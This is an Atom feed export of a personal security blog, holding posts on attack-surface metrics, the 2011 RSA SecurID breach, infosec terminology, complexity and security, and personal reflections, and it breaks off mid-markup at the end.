<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9454785</id><updated>2012-02-02T06:50:32.740-06:00</updated><category term='install'/><category term='&quot;hgw xx/7&quot;'/><category term='beer'/><category term='mhandelman'/><category term='sysadmin'/><category term='mash'/><category term='stasi'/><category term='ancestry.com'/><category term='vulnerability'/><category term='development'/><category term='malware'/><category term='qualification'/><category term='install.cfg'/><category term='Dan Kaminsky'/><category term='sourcehosting'/><category term='projects'/><category term='Minnesota Twins'/><category term='arborfest'/><category term='&quot;The life of others&quot;'/><category term='stupidity'/><category term='chiller'/><category term='make'/><category term='device profilers'/><category term='encryption'/><category term='BIOS injection'/><category term='session tokens'/><category term='securid'/><category term='netflix'/><category term='infosec'/><category term='counter-flow'/><category term='single user mode'/><category term='mod_proxy'/><category term='xss'/><category term='freebsd'/><category term='masica'/><category term='fake 0day'/><category term='apathy'/><category term='pete lindstrom'/><category term='cnn'/><category term='training'/><category term='asset valuation'/><category term='bind'/><category term='humor'/><category term='baseball'/><category term='packages'/><category term='racism'/><category term='pki'/><category term='2008 presidential election'/><category term='minnesota elections'/><category term='authentication'/><category term='credit card fraud tips restaurants &quot;calhoun grill&quot;'/><category term='session identifiers'/><category term='webdav'/><category term='security'/><category term='side project'/><category term='connotations'/><category term='reset password'/><category term='appsec'/><category term='cloud'/><category term='schizophrenia'/><category term='faith'/><category term='jails'/><category term='mod_proxy_html'/><category term='batch'/><category term='geneology'/><category term='john passki'/><category term='FID'/><category term='build'/><category term='dns'/><category term='homebrew'/><category term='strippers'/><category term='mash-lauter tun'/><category term='ann coulter'/><category term='errata'/><category term='/etc/rc.d/tmp'/><category term='exploit'/><category term='navel gazing'/><category term='virtualization'/><category term='spire security'/><category term='shellcode'/><category term='the anchor fish and chips'/><category term='tun'/><category term='admin'/><category term='ipfw'/><category term='consciouness'/><category term='core security'/><category term='FUD'/><category term='ignorance'/><category term='rsa'/><category term='orly'/><category term='falsely accused'/><category term='jabberwocky'/><category term='hacking'/><category term='ports'/><category term='risk'/><category term='complexity'/><category term='gray hat python'/><category term='pgp'/><category term='locate'/><category term='frameworks'/><category term='wikid'/><category term='metrics'/><category term='crime'/><category term='leopard'/><category term='ncircle'/><category term='2.2'/><category term='sysinstall'/><category term='mod_dav'/><category term='webscarab'/><category term='exoneration'/><category term='firewall'/><category term='sanders'/><category term='Destination'/><category term='authorization'/><category term='code review'/><category term='pxe'/><category term='passki'/><category term='apache'/><category term='hack'/><category term='security justice'/><category term='rage'/><category term='hatred'/><category term='header'/><category term='politics'/><category term='rape'/><category term='web application testing'/><category term='minneapolis'/><category term='mac os x'/><category term='world'/><category term='process changes'/><category term='malware symantec &quot;the reg&quot; md5 checksum hash'/><category term='all grain'/><category term='openssh'/><category term='botnet'/><category term='kettle'/><category term='ruby on rails'/><category term='time sharing'/><category term='abraham lincoln'/><category term='bade'/><category term='food'/><category term='exotic liability'/><category term='twitter'/><category term='saml'/><category term='northeast'/><category term='mod_rewrite'/><category term='mod_headers'/><category term='attack surface'/><category term='humanity'/><category term='mlt'/><category term='inductive reasoning'/><title type='text'>Cykyc Thoughts</title><subtitle type='html'>Ramblings</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://blog.cykyc.org/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>67</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9454785.post-7082517036867097136</id><published>2011-10-16T17:10:00.000-06:00</published><updated>2011-10-16T17:10:56.981-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ignorance'/><category scheme='http://www.blogger.com/atom/ns#' term='apathy'/><category scheme='http://www.blogger.com/atom/ns#' term='consciouness'/><title type='text'>The Losing of a Consciousness</title><content type='html'>I sit here, high above my Brooklyn city below. My view is west, blotted by Brooklyn Heights, down to Buttermilk Channel, up to the East River, across to New Jersey. My view is distance and beautiful. It is away. My view is a perfect analogy of my consciousness. Distance, away. Ignorant. Call this the sub-ego, a portion of the self whose aim to to protect the self by ignorance.&lt;br /&gt;&lt;br /&gt;I once recalled the difficulty of asking a friend to lend me $20. I felt a heavy obligation to pay it back. It took a week, where I saved a bit each day. The stress of this was an emotional stir. At this time in my life, that $20 was a large amount to me. It supported me. It was nourishment. Today, $20 has the same meaning to me as $100. They are peers in my mind. This is not me being a braggart. Perhaps, it is more of a confession of how far away I have gotten from my roots.&lt;br /&gt;&lt;br /&gt;The sub-ego, or whatever it should be called, drove me to seek out what I did not have or did not want. I didn't dislike being poor, because it was what I knew. And no one could have considered me a pauper, for I wasn't destitute. But as I reaped the fruits of my experience, fertilized by the many in my society, I became ignorant of who I was. I forgot the meaning of $20.&lt;br /&gt;&lt;br /&gt;It's amazing what this apathy, grown from ignorance, does to the self. From my view, I can see the tops of buildings, the iconic precipices jutting out of the jungle of Manhattan. Yet, I cannot see the trees below. Nor can I see the courage of those willing to camp out in these trees, waving their fists against what they deem is wrong with society. I cannot hear them, for indifference deafens the ears. I cannot feel them, because I am comfortably numb.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-7082517036867097136?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/7082517036867097136/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=7082517036867097136' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7082517036867097136'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7082517036867097136'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2011/10/losing-of-consciousness.html' title='The Losing of a Consciousness'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-1901564292202443203</id><published>2011-09-05T13:57:00.000-06:00</published><updated>2011-09-05T13:57:57.882-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='process changes'/><category scheme='http://www.blogger.com/atom/ns#' term='time sharing'/><title type='text'>Time Sharing My Time</title><content type='html'>So I'm trying something out today, on this wonderful &lt;a href="http://en.wikipedia.org/wiki/Labor_day"&gt;Labor Day&lt;/a&gt;. I find I start a lot of small to medium projects that get going, but then die. I could create a list, though it would just make me sad. I find I keep on going on a project when I keep on accumulating small *wins*. That could be added functionality to a program, seeing the accomplishment in action, or getting positive feedback from others. Yes, my ego needs a lot of care and uptake and my mind loves the dopamine release on receiving a reward. Whatever, gotta work with the machine I got :-)&lt;br /&gt;&lt;br /&gt;So, today, I tried time sharing my projects. I started a 45 minute timer, and walked down a list of projects. Each got 45 minutes, then whatever amount of break in between. It's a holiday so the breaks are a reward into themselves. If I was billing or charging to a company project, I'd probably care more (or not ; -)&lt;br /&gt;&lt;br /&gt;Well, it seemed to work out so far. I went from assessing some technology, documenting changes (locally) to &lt;a href="http://www.cs.cmu.edu/%7Epratyus/as.html"&gt;attack surface&lt;/a&gt; wording for an &lt;a href="https://www.owasp.org/index.php/Main_Page"&gt;OWASP&lt;/a&gt; &lt;a href="https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project"&gt;project&lt;/a&gt;, playing with &lt;a href="http://puppetlabs.com/"&gt;puppet&lt;/a&gt;, and now onto some &lt;a href="http://nodejs.org/"&gt;node.js&lt;/a&gt; stuff. That variability helps keep me motivated to do more, snack bites at a time. Even if I got steam, I was happy to start. It was kinda like a cliffhanger. Otherwise, I run the risk of going through a manic-obsessive cycle, where I spend 10 hrs doing one task and then don't touch it for a month.&lt;br /&gt;&lt;br /&gt;Time will tell if this little process change helps or hinders. But at least on today's holiday, it helps.&lt;br /&gt;&lt;br /&gt;Cheers!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-1901564292202443203?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/1901564292202443203/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=1901564292202443203' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1901564292202443203'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/1901564292202443203'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2011/09/time-sharing-my-time.html' title='Time Sharing My Time'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-4417777955479312231</id><published>2011-07-07T04:54:00.001-06:00</published><updated>2011-07-07T04:57:45.944-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metrics'/><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='navel gazing'/><category scheme='http://www.blogger.com/atom/ns#' term='attack surface'/><title type='text'>Measuring An Application's Attack Surface To Measure Consultancies</title><content type='html'>The ability to as-automatically-as-possible measure an application's surface area / attack surface should be one of the &lt;a href="http://www.claymath.org/millennium/"&gt;Millennium Prizes&lt;/a&gt;. Sadly, they only care about stupid problems such as does P=NP? Of course it does! For application security, this measurement can provide a &lt;a href="http://www.cs.cmu.edu/%7Epratyus/as.html#introduction"&gt;comparable metric&lt;/a&gt; to the application's potential for security issues. Enough on that. I'm not trying to prove out an app's security this time. I want navel-gaze at our wonderful infosec industry.&lt;br /&gt;&lt;br /&gt;An interesting byproduct of adequately measuring an app's attack surface, and to use the CMU researchers' verbiage, channels, methods, data and entry points, is that it provides a lot of scoping information on the application. No, no, no, I don't care about using this to guess the right amount of hours to assess an app (although that's possible). Rather, imagine if the client stated to a consultancy the following.&lt;br /&gt;&lt;br /&gt;Client: "Hello Consultancy."&lt;br /&gt;Consultancy: "Hello Client."&lt;br /&gt;Client: "We have App XZY that has one channel of concern, with 15 direct entry points (methods that receive environment data)."&lt;br /&gt;Consultancy: "Sounds good!"&lt;br /&gt;&lt;br /&gt;[... time passes, consultancy is assessing application ...]&lt;br /&gt;Consultancy: "Hello again Client!"&lt;br /&gt;Client: "Hello again Consultancy!"&lt;br /&gt;Consultancy: "We analyzed each of the 15 entry points and found the following. On average, each entry point used 25 different portions of the data, for a total of 375 data fragments [my word] consumed by the entry points. Out of these 375 data fragments, 200 were used in a conditional statement somehow, 100 were persisted by the application and 75 were reflected back to the user. We then examined each of those data fragments for appropriate validation and contextual encoding, if necessary. Blah blah blah XSS blah blah blah SQLi blah blah blah."&lt;br /&gt;Client: "Wow! That's a lot of numbers that don't mean anything to me!!!"&lt;br /&gt;Consultancy: "Oh, hold the boat there Mr. Client! You can start to use these numbers to measure the efficacy of other consultancies and tools. Of course that new Sprint you're about to do on your codebase will screw up all of these numbers. But, you can pay me to measure this again!"&lt;br /&gt;Client: "Oh, I see. So, I can measure your work against another consultancy's work and see how closely you all got."&lt;br /&gt;Consultancy: "Yeppers. So, when we leave here, you'll have at least an idea of what we did. You should then get someone else in the door to do an assessment on this app and see what they come up with. The sooner, the better, since you're pushing new code to QA this Friday."&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So, yeah, measuring an app's attack surface down to how many data fragments exist (think HTTP parameters or header content for a web app) and how they're used can become a relative metric on the efficacy of consultancies, in addition to the many other benefits it provides. But, as I snarkily allude to above, it's fraught with issues, especially on the "freshness" of those measurements. I so wish magical tools did this. Our industry, and our client's appsec, would only benefit from it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-4417777955479312231?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/4417777955479312231/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=4417777955479312231' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4417777955479312231'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/4417777955479312231'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2011/07/measuring-application-attack-surface.html' title='Measuring An Application&apos;s Attack Surface To Measure Consultancies'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-707914071751188842</id><published>2011-03-18T08:26:00.002-06:00</published><updated>2011-03-18T09:37:11.119-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rsa'/><category scheme='http://www.blogger.com/atom/ns#' term='securid'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hack'/><title type='text'>RSA SecurID Hack, Should I Care?</title><content type='html'>Twitter was abuzz yesterday and today on the &lt;a href="http://www.rsa.com/node.aspx?id=3872"&gt;RSA hack&lt;/a&gt;. From what I could infer, worst case, the SecurID seed files may have been disclosed in a hack. A quick primer on SecurID is needed to see why this is and isn't an issue.&lt;br /&gt;&lt;br /&gt;Token: hardware or software device that displays a token code&lt;br /&gt;Token code: pseudo-random numbers displayed on a RSA token. Can change at different frequencies (30 seconds, 1 minute, etc.)&lt;br /&gt;PIN: user's secret code. Can be numeric or alphanumeric, depending upon configuration.&lt;br /&gt;Passcode: PIN+tokencode&lt;br /&gt;&lt;br /&gt;RSA SecurID uses soft and hard tokens. I'll focus on the hard tokens for this. The tokens as I understand them are &lt;a href="http://en.wikipedia.org/wiki/PRNG"&gt;PRNG&lt;/a&gt;. Each token has a random seed to start its PRNG. The date and time the token was started with the seed, along with the seed itself, and the token's serial number, are sent to the customer. The customer then loads this seed file into the Primary SecurID server at the customer's premise. The Primary then can guess the current tokencode displayed on the token by inputting this seed into the PRNG. Clock-skew aside, the code computed by the Primary should be the code displayed on the token.&lt;br /&gt;&lt;br /&gt;As the customer adds users to the system, the customer associates a token to some user ID. This association should never be known outside of the Primary, secondaries, and backups. Usually front-end authenticators communicate to the Primary, via RADIUS, RSA's own proprietary protocol, or other supported methods. So, assuming an attacker has obtained the seed files, token serial numbers, and the organization that received the seed files, they'll still need to know the user ID association, the user's PIN, and the relative clock skew of the token.&lt;br /&gt;&lt;br /&gt;The RSA hack though only buys the attacker the first part of the equation (seed, token, date). The attacker would still need to perform a targeted attack against a user / org to obtain the token &amp;lt;=&amp;gt; user mapping AND the user's PIN. The Primary has mitigating controls to lock out a user after some amount of failed login attempts. But, let's hand-wave and say the attacker has somehow obtained the token &amp;lt;=&amp;gt; user account mapping and the user's PIN, which could be the user's domain password in some setups. They still need to generate the tokencode on the token.&lt;br /&gt;&lt;br /&gt;Getting back to clock skew, since physical tokens are physical, its clock will skew over time. The Primary stores this skew and allows a range. The more the token is used, the better the Primary will know its skew. If the token is too far out of skew, the Primary will log an event and require the to user enter the subsequent token code. If the token continues go to out of skew, the Primary will disallow its use and require the user to obtain a new token. An attacker starting a blind attack will not know the token's relative skew. So, even if this is a targeted attack against an individual, where the attacker knows the seed, token serial number, user ID, and user's PIN, there's still even a chance that the attacker will not be able to authenticate because of the token's clock skew will be too far off.&lt;br /&gt;&lt;br /&gt;With all of this, there is some worry. If you're in a small organization with say 20 people, it'll be easier for a knowledgeable attacker to associate some random token to some user account. RSA should also do the right thing and allow organizations to replace their tokens if the organizations deem it necessary, free of charge. A large organization will probably not do this, though. It's costly to do mass upgrades of tokens. For example, each token has an expiration date of usually 2-3 years. After this time, an organization will have to phase in a token replacement process. Support calls go up. People get locked out. It's a pain. But, if you're a small shop, it's easier to manage this. And, if you're a small shop, you're at a higher risk.&lt;br /&gt;&lt;br /&gt;In the end, it's about your organization's relative risk. I just don't see a big story here.&lt;br /&gt;&lt;br /&gt;(Updated 11:37 EDT: noticed I wrote PIN/passcode before. This was incorrect. Changed to PIN.)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-707914071751188842?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/707914071751188842/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=707914071751188842' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/707914071751188842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/707914071751188842'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2011/03/rsa-securid-hack-should-i-care.html' title='RSA SecurID Hack, Should I Care?'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-6221249482025030865</id><published>2011-02-27T11:27:00.000-06:00</published><updated>2011-02-27T11:27:06.185-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='infosec'/><category scheme='http://www.blogger.com/atom/ns#' term='racism'/><category scheme='http://www.blogger.com/atom/ns#' term='connotations'/><title type='text'>Dropping the Race Card</title><content type='html'>I recently watched again the movie &lt;a href="http://www.imdb.com/title/tt0104797/"&gt;Malcolm X&lt;/a&gt;. There's a good scene when Malcolm X and Baines are going through an English dictionary and comparing connotations between words starting or containing white versus black. The movie posits English words containing white often have some type of positive connotation whilst words containing black have negative connotations. Does infosec and IT in general carry over these connotations? To me...&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Black-box versus white-box testing: white-box is more open, transparent, easier to test&lt;/li&gt;&lt;li&gt;Blacklists versus white lists: blacklists are bad, mmmkay&lt;/li&gt;&lt;li&gt;Black hats versus white hats: I'm apathetic to either but those evil blackhat scofflaws! ;-)&lt;/li&gt;&lt;li&gt;...&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Yeah, it seems to me. This isn't a poke at Infosec by me since I haven't perceived overt racism by the people I follow or with whom I associate. And also to be fair, these words weren't introduced by Infosec. They were borrowed from some other context.&lt;br /&gt;&lt;br /&gt;However, being ethnically a Euro-mutt, my perceptions are more than likely biased. Words do carry meaning, implied or not. I don't see this as a political-correctness issue. Rather, our words frame our mindset. Kinda like a same-origin policy breach. If I connote a feeling with a particular word, it will by nature,  leak out into different realms of my being.&lt;br /&gt;&lt;br /&gt;Now, having grown up and lived in Minnesota (you betcha!) most of my life, I do not connote the word white with 100% positive emotions; white snow definitely solicits negative feelings in me :-) But I do see the connotations and don't want to perpetuate them. Sadly, the alternatives aren't full of awesome-sauce:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Black hat versus white hat: unauthorized hackers versus authorized hackers? (and hackers carries its own connotations... geez)&lt;/li&gt;&lt;li&gt;Blacklists versus white-lists: exclusion-only filters versus inclusion-only filters? (7 syllables to replace 2 ain't cool)&lt;/li&gt;&lt;li&gt;Black-box testing versus white-box testing: zero-knowledge testing versus full-knowledge testing? (not too bad)&lt;/li&gt;&lt;/ul&gt;So, as I lose the connotations I gain verbosity. Foo. Win some, lose some. At least I'll connote dry, boring words than some deep-seated emotion. I guess that's a win, ain't it?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-6221249482025030865?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/6221249482025030865/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=6221249482025030865' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6221249482025030865'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/6221249482025030865'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2011/02/dropping-race-card.html' title='Dropping the Race Card'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8961619309010726476</id><published>2010-12-16T16:34:00.001-06:00</published><updated>2010-12-16T16:42:40.782-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='complexity'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Complexity != Insecurity</title><content type='html'>&lt;blockquote style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span class="status-body"&gt;&lt;span class="entry-content"&gt;&lt;i&gt;Why do organizations often tend to introduce more complexity! Complexity is harmful for security ("KISS" principle)&lt;/i&gt;&lt;/span&gt;&lt;i&gt;             &lt;/i&gt;&lt;span class="meta entry-meta"&gt;   &lt;i&gt;&lt;a class="entry-date" href="http://twitter.com/xme/status/15339557914419202" rel="bookmark"&gt;     &lt;/a&gt;-&lt;/i&gt; &lt;a class="entry-date" href="http://twitter.com/xme/status/15339557914419202" rel="bookmark"&gt;&lt;/a&gt;&lt;a href="http://twitter.com/xme/status/15339557914419202%20"&gt;@xme&lt;/a&gt;&lt;span class="published timestamp"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;I saw this tweet this morning and cried again. It was a really long cry. Actually, it was sweat going into my eyes because I'm out of shape and on the elliptical. Pretend they were tears of sadness!&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Complexity does not equal insecurity. Complexity is not harmful for security. Heck, complexity is welcomed! Sometimes... And, arguably, sometimes not. Complexity can be needed for security, scalability, and consistency. And brother, I'm gonna preach on why.&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;Complexity Needed For Security&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;This is a cheap shot. Tell me, what's more of a complex protocol? HTTP or HTTP over a TLS connection? Think TLS isn't complex? It is. But its complexity and functionality add confidentiality, integrity, and authentication to a connection that doesn't directly offer those features. I won't focus on this one, but think about it.&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;Complexity Needed for Scalability&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;&lt;span style="font-size: small;"&gt;Before venturing here, be familiar with &lt;a href="http://en.wikipedia.org/wiki/Big_O_notation"&gt;Big O notation&lt;/a&gt;. At least don't be afraid of O(1), O(N), and O(c^N).&lt;/span&gt; &lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;UNIX systems manage passwords via a shadow or master password file. A sysadmin managing a small number of UNIX systems may be inclined to manually make updates to these files via their supported methods. The sysadmin might have to infrequently add or delete accounts, as needed and requested. This is very manageable and scales well to the scenario.&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The sysadmin didn't realize his company would explode in growth over the next year. Each week brought on scores and scores of new employees and also the need for more and more servers. Now, instead of managing a couple changes a day over a couple systems, the sysadmin is coping with numerous changes a day, across a growing expanse of systems. Performing this manually is time consuming and also adds inflexibility if the sysadmin needs to quickly disable access.&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;The sysadmin, being lazy, hooks up to the company's Active Directory instance via LDAP. Now, the sysadmin needs to modify PAM modules (authentication) and name service lookups (authorization) across all of these systems. The sysadmin has effectively increased the complexity of a login from a local lookup to a remote lookup because a procedure that was O(N*M) for a small number of users (N) and a small number of servers (M) is inappropriate for larger sizes of N and M. And the sysadmin gets a security benefit by being able to quickly lock out or disable an account if needed. Is this added complexity more or less insecure?&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;Complexity Needed for Consistency&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Building upon the LDAP example, the sysadmin was managing just CentOS servers. After the growth, the servers were made up of Solaris, CentOS, Redhat and FreeBSD because of business needs. Each of these had different ways to enforce account capabilities and restrictions, such as number of failed attempts before lock out, password complexity and strength, and password expiry days.&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Some systems couldn't support what the policy required. Others took time to understand, test, and implement. And others would only work for certain services, say OpenSSH, but not other services, on the server. By having PAM support the authentication and connecting to the LDAP server, the LDAP server can be a single point of control. Or, rather in Big O notation, the sysadmin reduced an O(N) problem to an O(1) problem, with N being the number of servers needing the change. Oh, and I won't mention that the sysadmin will add some more complexity by using STARTTLS with his LDAP implementation to not disclose the hashes being sent across the wire ;-)&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;span style="font-size: large;"&gt;Trite Examples, Blah!&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Perhaps. The point I'm trying to make is that complexity isn't and shouldn't be viewed as a bastard in the eyes of security. It's not. If the goal of complexity is commensurate with security goals, then it's a win. If complexity changes a process from O(N) to O(1), awesome! If complexity actually adds security at little perceived loss, even better. So, please, if you're gonna beat up on complexity, at least say unnecessary complexity. Because there's a lot of complexity out there that's keeping us secure, and it's a good thing :-)&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8961619309010726476?l=blog.cykyc.org' 